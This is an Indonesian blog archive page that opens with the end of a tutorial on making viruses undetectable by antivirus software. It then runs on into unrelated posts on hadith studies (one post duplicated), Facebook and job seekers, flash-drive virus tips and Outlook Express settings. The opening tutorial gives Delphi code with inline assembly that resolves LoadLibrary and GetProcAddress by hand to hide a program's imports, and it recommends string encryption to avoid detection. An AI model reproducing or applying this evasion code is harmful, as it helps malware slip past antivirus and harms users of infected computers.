    Pada gambar 7 terlihat bahwa library yang diload kembali ke default ( pertama ) tapi saat kita melihat function yang diload kernel32.dll terdapat tambahan loadlibraryA dan getprocaddress nah bagaimana mengakalinya ??? untuk menghilangkan ini kita bisa menggunakan alternativ getloadlibrary dan alternativ getprocaddress function by steve10120 yang codenya seperti ini :

    Code:
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    adapun code kita sekarang menjadi seperti ini :

    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := xGetProcAddress(xLoadLibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := xGetProcAddress(xLoadLibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


    Terlihat iat yang diload kembali seperti default program yang tidak berisikan code . Oh iya tambahan untuk membuat code kita undetect juga anda bisa menambahkan encryption dan encrypt semua string ( saat program dijalankan decrypt kembali).

    Demikanlah penjelasan tentang bagaimana membuat virus undetected dari antivirus. Adapun untuk teknik lebih lanjut anda bisa menemukannya di website/forum yang membahas tentang virus.
  5. Protect Computer
    Pada bab ini saya akan memberikan beberapa tips bagaimana cara terhindar dari virus ( tentunya virus sejenis ini ). Adapun tips and tricknya sebagai berikut :

    1. Updatelah antivirus anda sesering mungkin.
    2. Gunakan / install program firewall yang akan memonitoring keluar masuknya data dikomputer anda.
    3. Usahakan semua program yang anda gunakan itu asli karena banyak orang yang membinding ( menggabungkan virus dengan program ).
    4. Sebelum menjalankan program yang anda download maka analisislah filenya terlebih dulu. Adapun untuk menganalisa program anda bisa melihat resource file, section file, dan juga sniffing lalu lintas data. Apabila anda melihat hal yang mencurigakan lansung didelete saja.
    5. Rajin – rajinlah membuka website yang membahas security untuk mengetahui teknik terbaru dari pembuat virus sehingga bisa mencegahnya virus itu menginfecsi komputer anda. Adapun website-websitenya anda bisa melihatnya dibagian credis anda thanks.
  6. Penutup
    Demikianlah tutorial dari saya. Adapun segalah kekurangan atau kesalahan pada tutorial ini mohon dimaapkan. Apabila ada yang kurang dimengerti dalam tutorial ini anda bisa lansung menanyakannya kepada saya dengan mengirimkan email ke alamat email saya yang tercantum dibagian about author. Terakhir saya kembali menegaskan tutorial ini hanya untuk pembelajaran saja tampa bermaksud untuk mengajarkan membuat virus dan merugikan orang banyak. Sekian dari saya dan terima kasih.
  7. Credit and thanks
    Terimah kasih kepada :
    - Aphex
    - steve10120
    - OMC
    - Johnyk
    - Apocalyps aka who-tr
    - Fuajar
    - Chaincoder
    - Canis Lupus
    - Nohn
    - BUNNN
    - S'to
    - Pirus
    - Aurel666
    - Cruzen

    Dan banyak lagi teman2 saya yang tidak mungkin saya sebutkan semua disini.

Rabu, 03 Februari 2010

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

Selasa, 02 Februari 2010

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Mem-posting sesuatu di Facebook memang tak boleh sembarangan, khususnya bagi para pencari kerja. Sebuah survei mengungkapkan, hampir separuh perusahaan telah menolak calon pekerja yang sebenarnya potensial cuma gara-gara Facebook sang pelamar.

Satu dari 10 pelamar kerja ternyata ditolak karena ketahuan telah mem-posting sesuatu tentang minum-minuman keras dan obat-obatan terlarang. Kemudian, 13% karena membuat komentar rasis, dan 9% lainnya ditinjau ulang karena kedapatan menempatkan foto cabul di halaman situs jejaring sosial tersebut.

Perusahaan-perusahaan itu mulai mengecek jeroan Facebook sang pelamar untuk membandingkannya dengan resume curriculum vitae (CV) yang dikirimkan. Bahkan, seperti dikutip detikINET dari Telegraph, Rabu (13/1/2010), empat dari perusahaan telah membuang lamaran yang masuk setelah melihat Facebook sang pelamar.

Gambaran tentang dampak Facebook ini didapat dari hasil survei Career Builder terhadap 450 karyawan perusahaan. Farhan Yasin, presiden Career Builder mengatakan, situs seperti Facebook bisa menjadi bom waktu.

"Banyak yang memakai situs jejaring untuk menguak hal "kotor" di dunia maya. Maka, bersihkan konten "kotor"-mu sebelum mencari pekerjaan. Hapus semua konten foto dan link yang bisa menjadi batu sandungan dalam mencari pekerjaan," imbau Yasin soal hasil survei tersebut.

Salah satu perusahaan bernama Big Brother mengakui kesalahan terbesar yang dibuat oleh pencari kerja ialah tak bisa menjaga perilakunya di Facebook. Meski telah memoles sebaik-baiknya CV mereka, namun percuma saja kalau masih memiliki catatan online yang kurang baik dan bisa dilihat semua orang.

TIPS] buat flashdisk jd anti dgn virus.

intinya adalah mencegah flashdisk kita agar tidak dapat ditongkrongi oleh virus2 penggangu yg suka nongkrong di flashdisk. caranya mirip dgn membuat folder autorun.inf di flashdisk agar file autorun.inf virus tidak bisa masuk ke flashdisk.

contoh:
kl ada file virus "boot.exe" di flashdisk kita, kita tinggal delete aja file itu trus buat folder dgn nama "boot.exe". dijamin virus "boot.exe" ga akan bisa mampir ke flashdisk anda lg. trus buat folder "con" di dalem folder "boot.exe" biar foldernya ga bisa di delete.

sama jg kl ada virus yg ngebuat folder di flashdisk, cara cegahinnya yaitu dgn buat file yg di beri nama folder virusnya.

contoh:
misal ada virus yg buat folder "recycle" di dalem flashdisk, kita tinggal buat file trus kasih nama "recycle", beres deh!

semoga tips ini bisa membantu.

note: cara ini tidak selalu ampuh, karna banyak virus yg menggunakan nama yg random (acak)

Senin, 01 Februari 2010

putus perkara 3

Hadits ke-21
Dari Umar Ibnu al-Khaththab bahwa ia dalam khutbah pernah berkata: Sesungguhnya orang-orang pada zaman Rasulullah Shallallaahu 'alaihi wa Sallam diputuskan hukumannya melalui wahyu, dan wahyu itu telah terputus, maka kami sekarang memutuskan hukuman padamu berdasarkan perbuatanmu yang tampak pada kami. Riwayat Bukhari.
Hadits ke-22
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam menggolongkan persaksian palsu termasuk di antara dosa-dosa yang paling besar. Muttafaq Alaihi dalam hadits yang panjang.
Hadits ke-23
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah bertanya kepada seseorang: "Apakah engkau melihat matahari?". Ia menjawab: Ya. Beliau bersabda: "Dalam masalah seperti ini, bersaksilah atau tinggalkan." Riwayat Ibnu 'Ady dengan sanad lemah. Hadits shahih menurut Hakim, namun ia keliru.
Hadits ke-24
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan suatu perkara dengan sumpah dan seorang saksi. Riwayat Muslim, Abu Dawud dan Nasa'i. Ia berkata: Sanad hadits itu baik.
Hadits ke-25
Ada hadits serupa dari Abu Hurairah Radliyallaahu 'anhu yang diriwayatkan oleh Abu Dawud dan Tirmidzi dan dinilai shahih oleh Ibnu Hibban.
Hadits ke-26
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Seandainya orang-orang selalu diberi (dikabulkan) dengan dakwaan mereka, niscaya orang-orang akan menuntut darah dan harta orang lain, namun bagi yang didakwa berhak bersumpah." Muttafaq Alaihi.
Hadits ke-27
Menurut riwayat Baihaqi dengan sanad shahih: "Bukti diwajibkan atas pendakwa dan sumpah diwajibkan atas orang yang ingkar."
Hadits ke-28
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah menawarkan sumpah kepada suatu kaum dan mereka segera menerimanya. Maka beliau memerintahkan agar diadakan undian untuk pengangkatan sumpah, siapakah di antara mereka yang akan bersumpah. Riwayat Bukhari.
Hadits ke-29
Dari Abu Umamah al-Haritsi Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa mengambil hak milik seorang muslim dengan sumpahnya, maka Allah mengharuskan dirinya masuk neraka dan mengharamkan baginya surga." Ada seseorang bertanya: Walaupun sedikit, wahai Rasulullah?. Beliau menjawab: "Walaupun sepotong dahan pohon arak." Riwayat Muslim.
Hadits ke-30
Dari Al-Asy'ats Ibnu Qais Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah untuk mengambil harta milik seorang Muslim, padahal ia berdusta dalam sumpah itu, ia akan menemui Allah dalam keadaan murka." Muttafaq Alaihi.
Hadits ke-31
Dari Abu Musa Radliyallaahu 'anhu bahwa ada dua orang yang bersengketa masalah seekor hewan. Tidak seorang pun di antara mereka yang memiliki bukti. Maka Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa keduanya mendapatkan setengah. Riwayat Ahmad, Abu Dawud, dan Nasa'i. Lafadz hadits menurut Nasa'i dan ia berkata: sanadnya baik.
Hadits ke-32
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa bersumpah di atas mimbarku ini dengan sumpah palsu, ia akan menyediakan tempat duduknya dari api neraka." Riwayat Ahmad, Abu Dawud, dan Nasa'i. Hadits shahih menurut Ibnu Hibban.
Hadits ke-33
Dari Jabir Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Ada tiga orang yang tidak akan diajak bicara oleh Allah pada hari kiamat, tidak dilihat dan tidak akan disucikan, dan bagi mereka adzab yang pedih, yaitu: Orang yang mempunyai kelebihan air di padang pasir namun tidak mau memberikannya kepada orang yang berada di tengah perjalanan; orang yang menawarkan barang dagangan kepada orang lain setelah Ashar, lalu ia bersumpah dengan nama Allah bahwa ia telah membelinya sekian dan sekian sehingga lawannya mempercayainya, padahal sebenarnya tidaklah demikian; dan seseorang yang mengikrarkan kepatuhannya kecuali untuk kepentingan dunia (harta), bila sang pemimpin memberinya ia akan patuh dan bila tidak memberinya ia tidak akan mematuhinya." Muttafaq Alaihi.
Hadits ke-34
Dari Jabir Radliyallaahu 'anhu bahwa ada dua orang pernah bersengketa masalah seekor unta. Salah seorang di antara mereka berkata: Unta ini dilahirkan di tempatku. Keduanya sama-sama memperlihatkan bukti. Lalu Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan bahwa unta itu milik orang yang ditempati unta.
Hadits ke-35
Dari Ibnu Umar Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah mengembalikan sumpah kepada penuntut kebenaran. Kedua hadits di atas riwayat Daruquthni dan dalam sanad keduanya ada kelemahan.
Hadits ke-36
'Aisyah Radliyallaahu 'anhu berkata: Nabi Shallallaahu 'alaihi wa Sallam pada suatu hari memasuki rumahku dengan gembira, berseri-seri wajahnya, dan bertanya: "Tidakkah engkau perhatikan Mujazziz al-Mudlijy?. Ia tadi melihat Zaid Ibnu Harits dan Uzamah Ibnu Zaid. Lalu ia (Mujazziz) berkata: Kaki-kaki ini sebagiannya dari sebagian yang lain." Muttafaq Alaihi.

putus perkara 2

Hadits ke-11
'Aisyah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim yang adil akan dipanggil pada hari kiamat, lalu ia mendapat perhitungan yang melelahkan sehingga ia berkeinginan, alangkah baiknya jika seumur hidupnya ia tidak pernah memutuskan hukum antara dua orang." Riwayat Ibnu Hibban. Baihaqi juga meriwayatkan dengan tambahan: "Dalam masalah sebiji kurma."
Hadits ke-12
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Tidak akan bahagia suatu kaum yang menyerahkan kekuasaan mereka kepada seorang perempuan." Riwayat Bukhari.
Hadits ke-13
Dari Abu Maryam al-Azdy Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diserahi kekuasaan oleh Allah untuk menangani urusan kaum muslimin, namun ia tidak memperhatikan kebutuhan mereka dan kaum fakir, maka Allah tidak akan memperhatikan kebutuhannya." Riwayat Abu Dawud dan Tirmidzi.
Hadits ke-14
Abu Hurairah Radliyallaahu 'anhu berkata: Rasulullah Shallallaahu 'alaihi wa Sallam melaknat penyuap dan penerima suap dalam masalah hukum. Riwayat Ahmad dan Imam Empat. Hadits hasan menurut Tirmidzi dan shahih menurut Ibnu Hibban.
Hadits ke-15
Hadits tersebut mempunyai hadits saksi riwayat Imam Empat selain Nasa'i dari Abdullah Ibnu Amar.
Hadits ke-16
Abdullah Ibnu Zubair Radliyallaahu 'anhu berkata: Rasululah Shallallaahu 'alaihi wa Sallam memutuskan bahwa dua orang yang bersengketa harus duduk (untuk memutuskan perkara mereka) di depan hakim. Riwayat Abu Dawud. Hadits shahih menurut Hakim.
Hadits ke-17
Dari Zaid Ibnu Kholid al-Juhany bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Maukah kalian aku beritahu sebaik-baik persaksian? Yaitu orang yang datang memberi saksi sebelum diminta persaksiannya." Riwayat Muslim.
Hadits ke-18
Dari Imran Ibnu Hushoin Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sebaik-baik orang di antara kamu ialah (hidup) seabad denganku, lalu orang setelah mereka, kemudian orang-orang setelah mereka; setelah itu datanglah suatu bangsa yang memberi persaksian padahal mereka tidak diminta menjadi saksi, mereka berkhianat padahal mereka tidak diberi amanat, mereka bernadzar dan tidak memenuhinya, dan tubuh mereka tampak gemuk." Muttafaq Alaihi.
Hadits ke-19
Dari Abdullah Ibnu Amar Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian seorang laki-laki dan perempuan pengkhianat, persaksian orang yang menyimpan rasa dengki terhadap saudaranya, dan tidak sah pula persaksian pembantu rumah terhadap keluarga rumah tersebut." Riwayat Ahmad dan Abu Dawud.
Hadits ke-20
Dari Abu Hurairah bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Tidak sah persaksian Arab Badui (Arab Dusun) terhadap orang kota." Riwayat Abu Dawud dan Ibnu Majah

putus perkara

14. Kitab Putus Perkara


Hadits ke-1
Dari Buraidah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Hakim itu ada tiga, dua orang di neraka dan seorang lagi di surga. Seorang yang tahu kebenaran dan ia memutuskan dengannya, maka ia di surga; seorang yang tahu kebenaran, namun ia tidak memutuskan dengannya, maka ia di neraka; dan seorang yang tidak tahu kebenaran dan ia memutuskan untuk masyarakat dengan ketidaktahuan, maka ia di neraka." Riwayat Imam Empat. Hadits shahih menurut Hakim.


Hadits ke-2
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa diangkat sebagai hakim, ia telah disembelih dengan pisau." Riwayat Ahmad dan Imam Empat. Hadits shahih menurut Ibnu Khuzaimah dan Ibnu Hibban.


Hadits ke-3
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian akan rakus terhadap kekuasaan padahal ia akan menjadi penyesalan di hari kiamat. Maka alangkah baiknya penyusu (penguasa di dunia) dan alangkah jeleknya pemutus susu (kematian)." Riwayat Bukhari.


Hadits ke-4
Dari Amar Ibnu Al-'Ash Radliyallaahu 'anhu bahwa ia mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila seorang hakim menghukum dan dengan kesungguhannya ia memperoleh kebenaran, maka baginya dua pahala; apabila ia menghukum dan dengan kesungguhannya ia salah, maka baginya satu pahala." Muttafaq Alaihi.


Hadits ke-5
Abu Bakrah Radliyallaahu 'anhu berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Janganlah seseorang menghukum antara dua orang dalam keadaan marah." Muttafaq Alaihi.


Hadits ke-6
Dari Ali Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Apabila ada dua orang meminta keputusan hukum kepadamu, maka janganlah engkau memutuskan untuk orang yang pertama sebelum engkau mendengar keterangan orang kedua agar engkau mengetahui bagaimana harus memutuskan hukum." Ali berkata: Setelah itu aku selalu menjadi hakim yang baik. Riwayat Ahmad, Abu Dawud dan Tirmidzi. Hadits hasan menurut Tirmidzi, dikuatkan oleh Ibnu al-Madiny, dan dinilai shahih oleh Ibnu Hibban.


Hadits ke-7
Ada hadits saksi riwayat Hakim Ibnu Abbas.


Hadits ke-8
Dari Ummu Salamah Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Sesungguhnya engkau sekalian selalu mengadukan persengketaan kepadaku. Bisa jadi sebagian darimu lebih pandai mengemukakan alasan daripada yang lainnya, lalu aku memutuskan untuknya seperti yang aku dengar darinya. Maka barangsiapa yang aku berikan kepadanya sesuatu yang menjadi hak saudaranya, sebenarnya aku telah mengambil sepotong api neraka untuknya." Muttafaq Alaihi.


Hadits ke-9
Jabir berkata: Aku mendengar Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Bagaimana suatu umat dapat terhormat bila hak orang lemah tidak dapat dituntut dari mereka yang kuat." Riwayat Ibnu Hibban.


Hadits ke-10
Ada hadits saksi dari Buraidah riwayat al-Bazzar dan dari Abu Said riwayat Ibnu Majah.

Rabu, 02 Desember 2009

setting Gmail dan Yahoo Email di Outlook Express

tting Gmail dan Yahoo Email di Outlook Express

Anda pasti pernah dengar tentang Outlook Express, sebuah program email client dari
Microsoft yang sangat terkenal khususnya di dunia perkantoran. Jika anda bekerja di
sebuah perusahaan, hampir dapat dipastikan anda akan bergaul dengan software satu ini.
Memang enak menggunakan Outlook Express untuk menerima dan mengirim email di
rumah atau di kantor. Hanya saja kita perlu mengetahui konfigurasi POP server dan
SMTP server dari email server yang kita gunakan, agar bisa kita set di Outlook
nantinya. Kalau untuk email-email ‘kantor’ yang mempunyai domain sendiri misalnya:
emailku@namaperusahaan.com , tentunya sudah bukan masalah lagi, karena sudah
tersedia informasi seputar POP server, SMTP Server yang bisa digunakan untuk
melakukan setting di Outlook, lagipula biasanya sudah di handle oleh orang IT nya..
Nah, kalau anda ingin email yahoo atau Gmail anda di baca lewat Outlook, itu juga bisa
dilakukan sendiri. Tertarik? Silahkan ikuti tutorial singkat di bawah ini.

Setting Outlook untuk Yahoo! mail
1.Pastikan account anda adalah account yahoo lokal contoh:useranda@yahoo.co.id
(penting), bukan yang yahoo.com, untuk yg yahoo.com harus ada tambahan
software sebagai gatewaynya namanya YPops.
2.Login ke Yahoo mail anda, klik ‘Opsi’ yang ada di pojok kanan atas, lalu klik ‘akses
penerusan surat’, lalu cheklist bagian ‘Akses Web & POP’, lalu klik ’simpan’.
3.Buka Outlook Express, Klik Tool -> Accounts -> Mail - lalu klik Add -> mail untuk
membuat account.
4.Masukkan nama anda, nama ini akan digunakan sebagai nama pengirim di setiap
email yg anda kirim.
5.Masukkan alamat email yahoo anda. ingat, yg .co.id bukan yang .com
6.Isi Incoming mail… dengan : pop.mail.yahoo.com
7.Isi Outgoing mail… dengan : smtp.mail.yahoo.com, klik NEXT.
8.Account Name : isi dengan Yahoo ID anda tanpa embel-embel @yahoo.co.id
(cukup yahoo ID nya saja). contoh : email address=tejo@yahoo.co.id -> berarti
yahoo ID nya = tejo.
9.Masukkan password yahoo anda, dan checklist bagian ‘remember password’. Klik
NEXT, dan FINISH.
